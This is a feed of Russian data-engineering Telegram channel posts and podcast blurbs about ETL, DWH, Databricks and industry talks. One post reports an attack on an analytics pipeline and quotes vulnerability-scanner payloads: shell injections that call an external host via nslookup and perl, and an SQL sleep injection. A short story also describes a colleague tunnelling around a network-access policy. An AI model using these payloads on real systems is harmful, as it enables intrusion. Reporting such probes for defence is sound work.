Вас 2000 человек! Спасибо большое, что вы читаете меня!Для меня это оч большое достижение. Когда я только начинал свой канал, это была просто копилка каких-то идей и интересных статей.А теперь нас 2000 человек и это уже большоя группа людей, с очень разносторонними мнениями и взглядами на технологии, с которыми прикольно общаться и оч мотивирует, когда вы присылаете 💩, мотивирует искать материал лучше)В ближайшие дни буду подводить итоги года и писать планы на будущий. Stay tuned, как говориться 🤪@ohmydataengineer

https://iximiuz.com/en/posts/ssh-tunnels/Хехе, сегодня необычный пост, потому что он не про Data Engineering. По ссылке выше - прекрасный иллюстрируемый гайд про то, как работает SSH тунель.Когда он мне попался на глаза, немножк всплакнул, потому что вспомнил вот такую историю:На одном из рабочих мест, ввиду политики информационной безопасности, доступ на продакшен кластер K8S и ко всем продакшен базам данных, расположенным в одой сети, был запрещен снаружи, то есть с рабочего компа из дома не постучаться; То есть только из офисного Wi-Fi. И нет, с корпоративным VPN тоже нельзя. И да, это уже был Covid, и мы были на удаленке.Тогда хитрый жук Семен, чтобы не пользоваться RDS (удаленным рабоч…

https://beeline.jugru.org/?utm_source=jrg_info_partner&utm_medium=ohmydataengineer&utm_campaign=announce_meetup_beelineДавно у меня не было материала на канале, переезд в другую страну сбил все графики.Но ничего, вроде все вопросики уладили, поэтому возвращаемся в ритм.Начем с анонса онлайн-митапа от JUG и Билайна.В списке тем:- Как настроить ETL с JSON’ами в Apache NiFi- Система сквозного логирования с передачей единого идентификатора процесса между независимыми задачами Airflow- Apache Flink: Flink Table API & SQLДоклад в середине - то, чего мне не хватало года полтора/два назад, поэтому мы что-то придумывали сами. Теперь интересно узнать, как это делают в других местах[email protected]

Пост очередного подгорания жопки!https://towardsdatascience.com/whats-next-for-data-engineering-in-2023-7-predictions-b57e3c1bf2d3Меня немножко кидает из стороны в сторону, то я ругаюсь на капитанский и откровенно булшитный контент, то наоборот защищаю, потому что у всех разные пузыри и не оч понятно, для кого это очевидно, а для кого нет.Вот в очередной рассылке про данные, прилетела статья. Автор - Co-Founder and CEO, Monte Carlo, Barr Moses, то есть вроде бы вопросиков к автору не должно быть, человечек знает, что пишет.Но открываешь статью и видишь следующее:…Currently, data team roles are segmented primarily by data processing stage:1 )Data engineers pipe the data in,2) Analytical engi…

https://habr.com/ru/company/habr_career/blog/702558/Очередная статистика по зарплатам в РФ от Хабр Карьеры.Как ее воспринимать, это решение каждого. Помните, что на карьеро-зарплатные вопросы отвечают люди, которые а) читают этот ресурс и видели пост про опрос (или получили рассылку), б) есть время и желание это заполнять.Если ваша з/п сильно выбивается из описанных, помните, что вы, возможно, совсем в другом пузыре находитесь и это полезно помнить при любых спорах.Конкретно про методологию сборки данных для этого исследования - в конце статьи[email protected]

https://www.youtube.com/watch?v=-DVyjdw4t9IКто тут пожаловал в гости к Лексу Фридману, уже второй раз оказывается, сам Гвидо Ван Россум!Для начала, кто такой Lex Fridman. Чел из MIT, эксперт в ML, AI, Deep Learning и вот этом всем, но не на уровне PowerPoint презентаций, а прям лекций в университетах. Вот его сайт - https://lexfridman.com/У него есть подкаст, в который приходят поговорить умные люди из индустрии, немного рядом или вообще далеко. Но всегда слушать интересно. Например, Цукерберг, Маск, Дорси, Карпати, Карлсен (который гроссмейстер), Кармак, Роган, даже Канье Вест залетал.Так вот, в свежем выпуске создатель Питончика размышляет про будущее программирования. Оч советую послушат…

Channel name was changed to «🟧 [Technology Enthusiast]»

🚀 Released myBI dbt Core and myBI Market showcase⚙️ myBI dbt Core module allows quick start transformations on top of data synced by myBI Connect along with multiple useful macros.— Supported Adapters: Clickhouse, PostgreSQL— Reference any data source as simple as select * from source('general', 'dates')— Build staging layer in one command with filters on account_id applied, pre-join with date dimension, comprehensive data testing (unique, not_null, relationships)— Leverage macros: source_filter_rows to limit rows for dev/test environments, any macro from dbt_utils package ⚡️ myBI Market showcase guides you through building Modern Data Stack analytics:— Configure environment— Install and co…

💎 Операционализация аналитики c инструментами класса reverse ETL – опыт использования Census 💎В публикации:— Место reverse ETL в схеме потоков данных— Потребность в решении задач операционной аналитики— Различные способы организации reverse ETL— Кейс: Census для синхронизации данных в Pipedrive CRMСегодня Операционная аналитика и практики reverse ETL - не столько дань моде, сколько насущная потребность многих компаний. Создать идеальное Хранилище мало, ведь данные создают ценность только тогда, когда вы способны их использовать.Читать на Хабр → #Pipelines #reverse-ETL

21 ноября (понедельник) в 20:00 проведу вебинар: 🚀 Аналитика продуктивности команд разработки на основе данных Github 🚀 Вы узнаете: 🔹 Каким образом собирать события организации из Github (Webhook, Airbyte) 🔹 С помощью чего осуществить парсинг, трансформации…

21 ноября (понедельник) в 20:00 проведу вебинар:🚀 Аналитика продуктивности команд разработки на основе данных Github 🚀Вы узнаете:🔹 Каким образом собирать события организации из Github (Webhook, Airbyte)🔹 С помощью чего осуществить парсинг, трансформации, сборку витрин данных (dbt)🔹 Как приготовить метрики: PR Rate, Time to Review / Merge (Looker)Кому подходит:🔹 Начинающим и продолжающим специалистам в области Аналитики данных, Data Engineering🔹 Тем, кто интересуется современными подходами организации Хранилищ Данных🔹 Руководителям команд разработки, менеджерам и даже CTO Результаты:🔹 Познакомитесь с современными инструментами организации DWH🔹 Поймете, как устроены процессы разработки ПО в с…

Databricks - пока понятно то, что ничего непонятноПробую Databricks– Установка в свой аккаунт AWS, сделать может только администратор (это не я) - ОК– Развертывание в Cloud Formation Stack в пару кликов, вроде удобно. Однако очень сложно понять, что происходит и зачем: S3, IAM, Lambda, CopyZips(??)– Сразу поднялись 3 жирных EC2 Instances i3.xlarge (зачем??), явным образом меня об этом не спросили, это не было очевидно– Очень много текста в документации, но хочется поглотить всёКто пользуется Databricks?Какие самые главные советы можете дать?

Важнейшие критерии при выборе Extract – Load решения для интеграции данных в DWHВ публикации резюмирую свои знания:— Каталог поддерживаемых источников и приемников данных.— Метод чтения данных из источников (Extract).— Способы репликации в целевое Хранилище (Load).— Работа с изменениями структуры данных (Schema Evolution).— Трансформации перед загрузкой данных (EtLT).— Тип развертывания решения (Deployment).Буду объяснять и показывать примеры на сервисах, которые использовал сам: Hevo Data, Fivetran, Airbyte. Однако критерии универсальны и применимы для любых других систем подобного класса.Читать на Хабр →#Pipelines #ELT

Новая публикация на Хабр ⬇️⬇️⬇️

26 октября (среда) в 20:00 проведу вебинар: Работа с ГЕО-данными в DWH: координаты, зоны, агрегация – Привязка событий к зонам на карте города – Агрегирование и аналитика данных с помощью H3 (гексагоны) – Оптмизация расчетов и производительности, кэширование…

26 октября (среда) в 20:00 проведу вебинар:Работа с ГЕО-данными в DWH: координаты, зоны, агрегация– Привязка событий к зонам на карте города– Агрегирование и аналитика данных с помощью H3 (гексагоны)– Оптмизация расчетов и производительности, кэшированиеРасскажу подробно, как это устроено в проекте Wheely, над которым я работаю.Как и зачем индексировать данные (например, с использованием библиотеки H3 от Uber).Выполнение гео-операций, проверка вхождения точки в конкретные зоны (аэропорты, вокзалы, ТЦ, районы города).⬇️ Ссылка на YouTube-трансляцию будет в этом канале

Databricks + Wheely Proof of Concept I will be assessing Databricks as our new data platform (to succeed AWS Redshift) – Requirements to E - L - T – Current setup description – Proof of Concept plan Desired business impact: – Cost effective (at least…

Databricks + Wheely Proof of Concept I will be assessing Databricks as our new data platform (to succeed AWS Redshift)– Requirements to E - L - T– Current setup description– Proof of Concept planDesired business impact:– Cost effective (at least compared to what we currently spend on AWS Redshift reserved flat rate)– Performance gains desired– Extended features support (H3, in-database ML, Advanced analytics, ...)– Access to ecosystem (docs, solutions, code examples, how-to guides)– Democratization of access to data and data-related services: built-in Notebook experience– No degradation (performance, outage, timeouts, job failures) in comparison with current state

Получил отказ"Немного деталей, которые повлияли на наше решение: То что вы применяете бест практики из разработки - это отлично, но для нашей конференции в докладе все же не хватает технического наполнения. Возможно, это потому что мы нацелины больше на инженеров, которые уже очень хорошо знакомы со системой контроля версий, CI/CD и вот это вот все. Нам кажется, что для нашей целевой аудитории доклад не будет иметь прикладной полезности."Технические детали это: "Я говорила про различные вариации b-tree в движках, как пример того, насколько глубокие технические подробности нам интересны"B-tree в аналитических СУБД и больших данных в 2022... Бугага 😂Есть идеи, на какой RU конфе готовы слушать…

Somebody is overwhelming our analytics trying to find security breaches. A brief infrastructure setup: we gather user events data in mobile apps (iOS, Android) and Web via Snowplow trackers, send it to Kafka queues, then land the data into DWH (Redshift) staging area.Looks like a vulnerability scanner is used. Take a look at the sample data:echo bvazvs$()\ igzdlg\nz^xyu||a #' &echo bvazvs$()\ igzdlg\nz^xyu||a #|" &echo bvazvs$()\ igzdlg\nz^xyu||a #bxss.me/t/xss.html?%00`(nslookup hitxbheyywgyq5e37d.bxss.me||perl -e "gethostbyname('hitxbheyywgyq5e37d.bxss.me')")`aUV52Y1o' OR 826=(SELECT 826 FROM PG_SLEEP(15))--^(#[email protected]#$)(()))******Despite basic checks are enforced (non-empty string, valid jso…

Ух, как же много материала, которым хочется поделиться.Не всё успеваю публиковать. Подал заявку на доклад на конфе SmartDataБудете ждать? 🤔

Netflix Chaos Monkeyчтобы достичь доступности в распределённых сервисах используют избыточность: несколько дисков в рейд-массиве вместо одного или несколько машин вместо одной.в идеале при выходе из строя одного элемента, система должна поддерживать дееспособность на определённом уровне. Если у нас 10 000 дисков, то по техническим допускам в среднем один диск должен выходить из строя каждый день.даже когда есть чёткие инструкции по восстановлению, только практика может отточить навык, а чтобы такая практика происходила регулярно, в Нетфликсе в инфру запускают МАРТЫШКУ ХАОСА (лайк за нейминг!).точнее даже целое стадо разноспециализированных мартышек: одна рандомно прибивает неоптимальной нас…

Мета ДВХ: ДВХ для ДВХПосмотрел доклад Жени Ермакова двухлетней давности о том как они делали МетаДВХ в Яндекс Такси. Отдельное удовольствие сначала поработать годик внутри, а потом посмотреть такое вводное видео как пришли к такому решению.Суть доклада сводиться к тому, что логи использования ДВХ засунули в ДВХ как отдельный источник. Смоделировав опрятные модели, это позволило посчитать метрики и отслеживать насколько хорошо команды ДВХ справляются со своими задачами.Мы пользуемся такими отчётами, чтобы отслеживать использование новых объектов (не зря ли мы старались, добавляя их); а ещё поддерживаем счёт в нашей битве за пользователей с «теневым двх»: ключевая метрика здесь — соотношение …

Необязательные код-ревью Интересный подход применяют в компании Raycast — они решили отказаться от обязательных код-ревью и коммитить сразу в дев ветку. Ежедневно автоматика собирает внутренний релиз из этой ветки, чтобы проявить возможные нестыковки. Приводят…

😱 ААА! Код-ревью Прошёл тут эпичный код-ревью: 20 комментов в самом пулл-реквесте и ещё 43 сообщения в соответствующем треде в Слаке. Было жёстко, но интересно! Всё началось как приключение на 20 минут: поправить в двух сущностях поля партиционирования и…

О развитии как разработчика баз данныхАлексей Махоткин известен среди меня тем, что продвигает фреймворк проектирования (?) Minimal Modeling. В посте Алексей рассуждает о развитии как разработчика баз данных. Интересно, что он не уходит в список необходимых утилит и фреймворков, а сосредотачивается на понимании бизнеса: ⁃ First, learn to speak the language of the business side. [..] also need to have a common language with stakeholders, such as data analysts and researchers, and especially with marketing [..] ⁃ Second, think about removing the organizational bottlenecks around data processes [..] ⁃ There are also some other activities that could help with reducing friction, such as establis…

Кто в прошлом году вёл себя плохо, тот в следующем будет писать SQL на кириллице 😈картинка из чатика Data Coffee

«Бэкенд» бэкендаЕсть профессии, которые прямо можно оценить по вносимому вкладу — особенно ближе к сезону перфоманс ревью поднимаются вопросы тип «вот сколько Вася принёс денег компании?».Как ни старайся, DWH таким аршином не измеришь. Только если вешать «счётчик входящих» и высчитывать % от оклада у всех кто пользуется нашими сущностями.Получается, наша работа в другом — мы подносим патроны. Причём подносим патроны тем, кто сам подносит патроны. Мы в глубоком тылу. В чём же наша польза? Как её измерить?Один из вариантов ответов, который мне больше всего нравится, — мы повышаем стабильность и скорость общей работы. Мы поддерживаем документацию, чтобы менеджеры могли быстрее найти как поджой…

Каким-то образом удалось затесаться одним из гостей в подкаст Data Heroes от команды Николая Валиотти. Вчерашний джун попал в компанию матёрых сеньоров, хе-хе. Тем не менее постарался поделиться своими мыслями о работе инженером данных. Опытом делились Семён Осипов из Gett, Ксения Томак из Dodo Brands и Сергей Бойцов; их и приглашаю послушать, получилось разносторонне, у всех свой опыт и итоговые советы получились довольно уникальными. Ссылки где послушать в канале Left Join: https://t.me/leftjoin/841

про Data Contracts в подкасте dbtChad Sanderson из Convoy (heavy modern data staсk users 🥸) делится своим кейсом: занимаются бизнесом, который truly ML driven, т.е. эм-эль не просто где-то сбоку, а без него не было бы самого бизнеса.Начали работать, сначала всё шло хорошо, а потом начали появляться сообщения от коллег, что мол в колонках до 25% пропусков, где бизнесово их быть не должно — для обучения моделей приходится вычищать четверть датасета.И так из других отделов тоже, общий тренд такой, что «мы не доверяем данным». Так начали развивать Data Quality (и до сих пор в этом процессе).⌘⌘⌘ Ещё раз звучала аналогия, что датасеты (по крайне мере те которые «свои») — это как API. Подразумевае…

Год в ЯндексеТут в октябре случилась первая годовщина.Из этого времени: ⁃ посидеть полгода в другом офисе от всей команды >_> ⁃ три месяца поработать удалённо из другого города ⁃ зайти на экскурсию в три офиса Яндекса в Москве ⁃ проехать мимо трёх офисов в других городах (жаль, не сложилось зайти — но бейджик был наготове!) ⁃ пройти два перфоманс ревью (пока вроде не выгнали)Поначалу голова шла кругом от обилия внутренних инструментов, но вроде основные успел изучить (более-менее). Не устаю удивляться количеству умных людей вокруг. При этом каждый готов включиться и помочь, если вдруг будет нужно.Потихоньку обкладываюсь мерчем: супруга даже шутит, что Яндекс Музей — теперь мой любимый магаз…

Закрывая тему подкастов: оказывается, у Max Beauchemin (Бьюшемин?) тоже есть «свой» подкаст. Макс — автор Airflow и Superset, а подкаст они делают от имени Preset (платная версия их опенсорсного Superset).По ощущениям подкаст очень похож на подход опенсорса: сделай так, чтобы работало, а о фентифлюшках подумаем потом (или сделаем в платной версии, хе-хе): в подкасте присутствует шуршание проводов об одежду и стук клавиш на фоне.Сложно конспектировать, когда нет плана и чёткой темы; очень охоже на разговор на кухне у кулера.Если кто-то коллекционирует тематические подкасты, добавляйте к себе. А пока продолжаем наблюдение.https://podcasts.apple.com/us/podcast/the-analytics-everywhere-podcast/…

Ещё из новостей подкастов: у Самата Галимова вышли два интересных выпуска в подкасте «Запуск завтра»: 1. про российский StackOverflow — как студент сделал сайд-проект в универе, получилось хорошо и это стало основной работой. А потом продал его основателю «основного» StackOverflow — легендарному Джоелю Спольски. 2. про язык Kotlin, который был признан Google основным языком для разработки на Android. Как(и зачем!) в 2010 году в JetBrains захотели сделать свой язык программирования на замену стагнирующей в то время Java. И причём тут Андроид.Оба выпуска слушаются как аудио-книга — невероятная история с поворотами и техническими деталями. Тут вроде нечего конспектировать, надо слушать)

Очереди сообщенийВ подкасте Podlodka вышел выпуск про менеджеры очередей. Зашли с основных понятий и дальше по всем аспектам до антипаттернов проектирования. Рассказывал Владимир Перепелица, архитектор и продакт-менеджер из Tarantool.До сих пор не сталкивался ни с Kafka, ни RabbitMQ, поэтому мне было интересно послушать. Что-то из выпуска записал (как мог):Зачем оно нужно, почему не сделать напрямую: ⁃ декаплинг: источники и потребители данных не связаны напрямую, они ничего не знаю друг о друге, их может быть больше одного с каждой стороны; ⁃ снимает пиковую нагрузку когда потребитель временно недоступен.⌘В целом, чем-то похоже на базы данных: тоже запись и чтение. Иногда даже отдельные бд…

Выпуск Data Coffee про собеседованияТри лида́ обсуджают как они проводят собеседования для инженеров данных: ⁃ Сколько по времени должно быть собеседование — нормально ли заканчивать их досрочно, если по кандидату точно «да» или точно «нет». ⁃ Сколько вообще может быть этапов у процесса найма. ⁃ Чем отличаются задачи для джунов, мидлов и синьоров. С какого-то уровня помимо основных инструментов (SQL+Python/Scala) требуется понимать и общую архитектуру (и альтернативные варианты с их плюсами и минусами). ⁃ Зачем сотруднику присоединятся к клубу собеседующих — прокачивает техническую насмотренность и помогает точнее сориентировать свой уровень относительно других. ⁃ И отдельно про навык прогов…

🥸 короткий и дельный совет от Игоря Мосягина — добавлять эмоджи в отладочные логи, чтобы было заметнее это из доклада на конференции SmartData — там сегодня community day, можно посмотреть доклады бесплатно 👀

Summary

The most interesting and challenging bugs always happen in production, but recreating them is a constant challenge due to differences in the data that you are working with. Building your own scripts to replicate data from production is time consuming and error-prone. Tonic is a platform designed to solve the problem of having reliable, production-like data available for developing and testing your software, analytics, and machine learning projects. In this episode Adam Kamor explores the factors that make this such a complex problem to solve, the approach that he and his team have taken to turn it into a reliable product, and how you can start using it to replace your own collection…

Summary

The modern data stack has made it more economical to use enterprise grade technologies to power analytics at organizations of every scale. Unfortunately it has also introduced new overhead to manage the full experience as a single workflow. At the Modern Data Company they created the DataOS platform as a means of driving your full analytics lifecycle through code, while providing automatic knowledge graphs and data discovery. In this episode Srujan Akula explains how the system is implemented and how you can start using it today with your existing data systems.

Announcements

Hello and welcome to the Data Engineering Podcast, the show about modern data management

Truly leveraging and…

Summary

Managing end-to-end data flows becomes complex and unwieldy as the scale of data and its variety of applications in an organization grows. Part of this complexity is due to the transformation and orchestration of data living in disparate systems. The team at Upsolver is taking aim at this problem with the latest iteration of their platform in the form of SQLake. In this episode Ori Rafael explains how they are automating the creation and scheduling of orchestration flows and their related transforations in a unified SQL interface.

Announcements

Hello and welcome to the Data Engineering Podcast, the show about modern data management

Data and analytics leaders, 2023 is your year to sh…

Summary

Making effective use of data requires proper context around the information that is being used. As the size and complexity of your organization increases the difficulty of ensuring that everyone has the necessary knowledge about how to get their work done scales exponentially. Wikis and intranets are a common way to attempt to solve this problem, but they are frequently ineffective. Rehgan Avon co-founded AlignAI to help address this challenge through a more purposeful platform designed to collect and distribute the knowledge of how and why data is used in a business. In this episode she shares the strategic and tactical elements of how to make more effective use of the technical an…

Summary

With all of the messaging about treating data as a product it is becoming difficult to know what that even means. Vishal Singh is the head of products at Starburst which means that he has to spend all of his time thinking and talking about the details of product thinking and its application to data. In this episode he shares his thoughts on the strategic and tactical elements of moving your work as a data professional from being task-oriented to being product-oriented and the long term improvements in your productivity that it provides.

Announcements

Hello and welcome to the Data Engineering Podcast, the show about modern data management

When you're ready to build your next pipeline…

Summary

Encryption and security are critical elements in data analytics and machine learning applications. We have well developed protocols and practices around data that is at rest and in motion, but security around data in use is still severely lacking. Recognizing this shortcoming and the capabilities that could be unlocked by a robust solution Rishabh Poddar helped to create Opaque Systems as an outgrowth of his PhD studies. In this episode he shares the work that he and his team have done to simplify integration of secure enclaves and trusted computing environments into analytical workflows and how you can start using it without re-engineering your existing systems.

Announcements

Hello…

Summary

Five years of hosting the Data Engineering Podcast has provided Tobias Macey with a wealth of insight into the work of building and operating data systems at a variety of scales and for myriad purposes. In order to condense that acquired knowledge into a format that is useful to everyone Scott Hirleman turns the tables in this episode and asks Tobias about the tactical and strategic aspects of his experiences applying those lessons to the work of building a data platform from scratch.

Announcements

Hello and welcome to the Data Engineering Podcast, the show about modern data management

When you're ready to build your next pipeline, or want to test out the projects you hear about on …

Summary

The data ecosystem has seen a constant flurry of activity for the past several years, and it shows no signs of slowing down. With all of the products, techniques, and buzzwords being discussed it can be easy to be overcome by the hype. In this episode Juan Sequeda and Tim Gasper from data.world share their views on the core principles that you can use to ground your work and avoid getting caught in the hype cycles.

Announcements

Hello and welcome to the Data Engineering Podcast, the show about modern data management

When you're ready to build your next pipeline, or want to test out the projects you hear about on the show, you'll need somewhere to deploy it, so check out our friends …

Summary

One of the reasons that data work is so challenging is because no single person or team owns the entire process. This introduces friction in the process of collecting, processing, and using data. In order to reduce the potential for broken pipelines some teams have started to adopt the idea of data contracts. In this episode Abe Gong brings his experiences with the Great Expectations project and community to discuss the technical and organizational considerations involved in implementing these constraints to your data workflows.

Announcements

Hello and welcome to the Data Engineering Podcast, the show about modern data management

When you're ready to build your next pipeline, or wan…

Preamble

This is a cross-over episode from our new show The Machine Learning Podcast, the show about going from idea to production with machine learning.

Summary

Data is one of the core ingredients for machine learning, but the format in which it is understandable to humans is not a useful representation for models. Embedding vectors are a way to structure data in a way that is native to how models interpret and manipulate information. In this episode Frank Liu shares how the Towhee library simplifies the work of translating your unstructured data assets (e.g. images, audio, video, etc.) into embeddings that you can use efficiently for machine learning, and how it fits into your workflow fo…

Summary

One of the most critical aspects of software projects is managing its data. Managing the operational concerns for your database can be complex and expensive, especially if you need to scale to large volumes of data, high traffic, or geographically distributed usage. Planetscale is a serverless option for your MySQL workloads that lets you focus on your applications without having to worry about managing the database or fight with differences between development and production. In this episode Nick van Wiggeren explains how the Planetscale platform is implemented, their strategies for balancing maintenance and improvements of the underlying Vitess project with their business goals, a…

Summary

Business intelligence is the foremost application of data in organizations of all sizes. The typical conception of how it is accessed is through a web or desktop application running on a powerful laptop. Zing Data is building a mobile native platform for business intelligence. This opens the door for busy employees to access and analyze their company information away from their desk, but it has the more powerful effect of bringing first-class support to companies operating in mobile-first economies. In this episode Sabin Thomas shares his experiences building the platform and the interesting ways that it is being used.

Announcements Hello and welcome to the Data Engineering Podcast,…

Summary

The term "real-time data" brings with it a combination of excitement, uncertainty, and skepticism. The promise of insights that are always accurate and up to date is appealing to organizations, but the technical realities to make it possible have been complex and expensive. In this episode Arjun Narayan explains how the technical barriers to adopting real-time data in your analytics and applications have become surmountable by organizations of all sizes.

Announcements Hello and welcome to the Data Engineering Podcast, the show about modern data management

When you’re ready to build your next pipeline, or want to test out the projects you hear about on the show, you’ll need somewhere…

Summary

The data ecosystem has been growing rapidly, with new communities joining and bringing their preferred programming languages to the mix. This has led to inefficiencies in how data is stored, accessed, and shared across process and system boundaries. The Arrow project is designed to eliminate wasted effort in translating between languages, and Voltron Data was created to help grow and support its technology and community. In this episode Wes McKinney shares the ways that Arrow and its related projects are improving the efficiency of data systems and driving their next stage of evolution.

Announcements Hello and welcome to the Data Engineering Podcast, the show about modern data manag…

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Shayna Powless and Eli Ankou, professional cyclist for L39ion of Los Angeles and defensive tackle for the Buffalo Bills, respectively, provide valuable insight on how professional athletes leverage data to improve their performance and how they combine their passion for sports with the Dreamcatcher Foundation.See more at databricks.com/data-brew

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Matt Willis, Marin County Public Health Officer, shares the three pillars of public health: education, access, and policy, and the critical role data plays in addressing the COVID-19 pandemic & opioid epidemic. See more at databricks.com/data-brew

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Running the length of the US every year, Alexandra Matthiesen shares her motivational secrets for running 1,283 consecutive days (and counting!) and redefining physical and mental limits. See more at databricks.com/data-brew

Пройдите, пожалуйста, наш опрос: https://4zz1gujb3ju.typeform.com/to/VoSmy7DN Для многих важных задач современного мира — например, для поиска новых лекарств или построения оптимальных маршрутов, — мощностей даже самых продвинутых компьютеров не хватает. Ученые десятилетиями пытаются обойти ограничения, накладываемые классической физикой, и создать принципиально новый способ производить вычисления. Гость эпизода Алексей Федоров — один из таких ученых. Разбираемся, что такое суперпозиции, как физики запутывают атомы и к чему приведет появление квантовых компьютеров. Осторожно, этот разговор выходит за рамки человеческого воображения! Реклама. Курсы для опытных программистов от Яндекс Практик…

Компания Miro была первой, кто придумал сделать обычную белую доску, которая стоит в каждом офисе, виртуальной. И миллионы пользователей по всему миру оценили эту идею, даже в NASA используют Miro. В этом эпизоде Иван Демшин (Head of System Engineering в Miro) рассказывает, как компания пережила три пивота, резко выросла в пандемию и стала #1 инструментом для удаленной работы. Реклама. Бесплатный 10-часовой курс по алгоритмическим собеседованиям от Яндекс Практикума: https://clck.ru/335Jje Интервью с Андреем Хусидом, CEO и основателем Miro: https://youtu.be/C1U4MD6DPI8 Подкаст «Люди Miro»: https://podcast.ru/1547571684 Подписаться на «Запуск++» в Телеграме: https://t.me/+N_AopnXC0dBkMGQy По…

Роскомнадзор — главный цензор российского интернета. В 2022 году сайты почти всех независимых медиа подверглись блокировкам, поэтому всё больше людей используют разные способы их обхода. Tor — один из таких способов. Но еще это важный проект, создающий настоящий подпольный интернет, где все пользователи остаются анонимными. В этом эпизоде разбираемся, за счет чего Tor такой безопасный и при чем тут лук, как ловить преступников в даркнете и как подключиться к сети из России* — разбираемся вместе с Иcабелой Фернандеc (Isabela Fernandes), executive director проекта. (*Да, официально браузер заблокирован на территории РФ и внесен в реестр запрещенной информации) Реклама. Курсы Яндекс Практикума…

Почти в каждом современном кино- или рекламном продукте используется компьютерная графика. Чтобы зритель поразился реалистичности взрыва или тому, как новый BMW собирается на ходу, десятки специалистов месяцами трудятся над каждым кадром. Гость этого эпизода Данил Криворучко делает моушен-дизайн для самых громких проектов индустрии. Данил рассказал, как создаются визуальные эффекты и как на этом можно построить карьеру. Реклама. Бесплатный курс по основам Go от Яндекс Практикума https://clck.ru/32sq8t Упомянутые ролики: Pixar, 1986 https://www.youtube.com/watch?v=6G3O60o5U7w Терминатор 2, сцена с жидким металлом, 1991 https://www.youtube.com/watch?v=u8h8d2XLWKY Видеоигра Quake, 1999 https:/…

В этом эпизоде мы снова говорим о данных и о том, что с ними можно сделать. Раньше машина не всегда могла отличить коня от человека, а теперь мы доверяем ей в определении оптимальной цены в магазинах, поимке кибер-преступников и даже этических вопросах. Как индустрия прошла этот путь — разбираемся с Валерием Бабушкиным, экспертом по Data Science в компании BlockChain. Реклама. Курсы от Яндекс Практикума по программированию с нуля: https://clck.ru/32nsqX Ссылки: Телеграм-канал Валеры: https://t.me/cryptovalerii Сайт Алексея Чернобровова: https://chernobrovov.ru/ Лекции от сообщества Open Data Science: https://www.youtube.com/@OpenDataScienceCon Подписаться на «Запуск++» в Телеграме: https://…

Раньше врачи искали отклонения в клетках и тканях человека с помощью микроскопа. Сейчас в медицину проникают высокие технологии — компьютерное зрение и искусственный интеллект. В этом эпизоде врач-патологоанатом Артем Борбат рассказывает, как сканеры в лабораториях помогают получить диагноз в разы быстрее, а модели из миллиона клеток находят несколько больных. Реклама. Пройдите бесплатную часть курса до 30 ноября и получите 20% скидку на дальнейшее обучение от Яндекс Практикума. Промокод работает при определенных формах оплаты. Подробности по ссылке: https://clck.ru/32gxUZ Курсы MIT по медицинской инженерии: https://ocw.mit.edu/courses/6-s897-machine-learning-for-healthcare-spring-2019/ htt…

Бакунов был одним из самых публичных айтишников в России, а потом променял успешную корпоративную карьеру на стартапы в Киеве. В этом эпизоде Гриша (или Bobuk, как знают его многие технари) рассказывает, каким стал Яндекс после Ильи Сегаловича, почему он выбрал гэмблинг как следующую работу и как меняется украинская IT-тусовка. Подкаст Радио-Т: https://radio-t.com Telegram-канал Гриши: https://t.me/addmeto Подписаться на «Запуск++» в Телеграме: https://t.me/+N_AopnXC0dBkMGQy Подписаться на Либо/Либо+ в Телеграме, куда включены эпизоды «Запуск++»: https://t.me/+LXZx5JRqO4o0MjJi Чат Запуска в телеграме: https://t.me/zapuskzavtra Связаться: [email protected] Редакторка — Маша Агличева; Пр…

Когда-то компьютеры занимали целую комнату и весили тонны, а теперь в маленьком чипе вашего смартфона умещается та же вычислительная мощность. Происходит это благодаря одному предприятию, которое делает уникальное литографическое оборудование — компании ASML. Из этого эпизода вы узнаете, как современный процессор с миллиардом транзисторов связан с парящими платформами, таблицей Менделеева и Властелином колец, а расскажет об этом Диана Гришина, работавшая в ASML. Реклама. Ссылка на курсы для опытных разработчиков от Яндекс Практикума: https://clck.ru/32bXgv Ссылки: Сайт ASML: https://www.asml.com/en Инженеры на заводе ASML и «чистая комната»: https://www.youtube.com/watch?v=ttbaaI5xUcg Подпи…

Очереди в отделениях, потерянные посылки, бесконечное заполнение бумажек — многие помнят взаимодействие с почтой таким. Теперь забрать или отправить посылку можно за несколько минут, появилось приложение с удобным интерфейсом, а программисты рассчитывают оптимальную скорость движения конвертов на сортирочных конвейерах (да). Про то, как компания, которая ассоциировалась с мемом про покемона «слоупока», встала на рельсы цифровизации и какие безумные технические задачи решает, рассказывает Николай Кныш, технический директор Почтатеха, цифрового отделения Почты России. Реклама. Ссылка на буткемпы Яндекс Практикума — интенсивные курсы, на которых можно быстро освоить профессию: https://clck.ru/…

В 1991 году Линус Торвальдс учился в университете и захотел исправить недочеты в учебной операционке. Так появилось ядро Linux. Спустя 30 лет Linux насчитывает миллиарды пользователей, и почти все устройства, которые нас окружают, используют разработку Торвальдса под капотом. Разбираемся, как Linux прошел этот путь вместе с Георгием Курячим, разработчиком российского дистрибутива Linux. Реклама. Бесплатный курс по подготовке к алгоритмическому собеседованию от Яндекс Практикума: https://clck.ru/32S23E Сcылки YouTube-канал записей лекций Георгия: https://www.youtube.com/channel/UC6m3WI2mgZLj3LgNYWQNH6g Сайт UNИX: https://uneex.org/MainPage/ Сайт сообщества ALT Linux Team: https://www.altlinu…

Шрифтов сотни тысяч, а по-настоящему популярны из них, может быть, десяток. При этом продолжают появляться всё новые антиквы и гротески, дизайнеры тратят годы на доведение начертаний до идеала, а крупные компании инвестируют миллионы долларов в собственные шрифты. В этом эпизоде Илья Рудерман, шрифтовой дизайнер и сооснователь Type.Today и CSTM Fonts рассказывает, зачем нужно это многообразие, какой шрифт считать хорошим и почему шрифтовики — тоже немного программисты. Реклама. Курсы по программированию с нуля от Яндекс Практикума: https://clck.ru/32PJj9 Ссылки из эпизода: Сайт Type.today https://type.today/ru Шрифт lurk для Юрия Дудя https://type.today/ru/collection/lurk DrawBot https://ww…

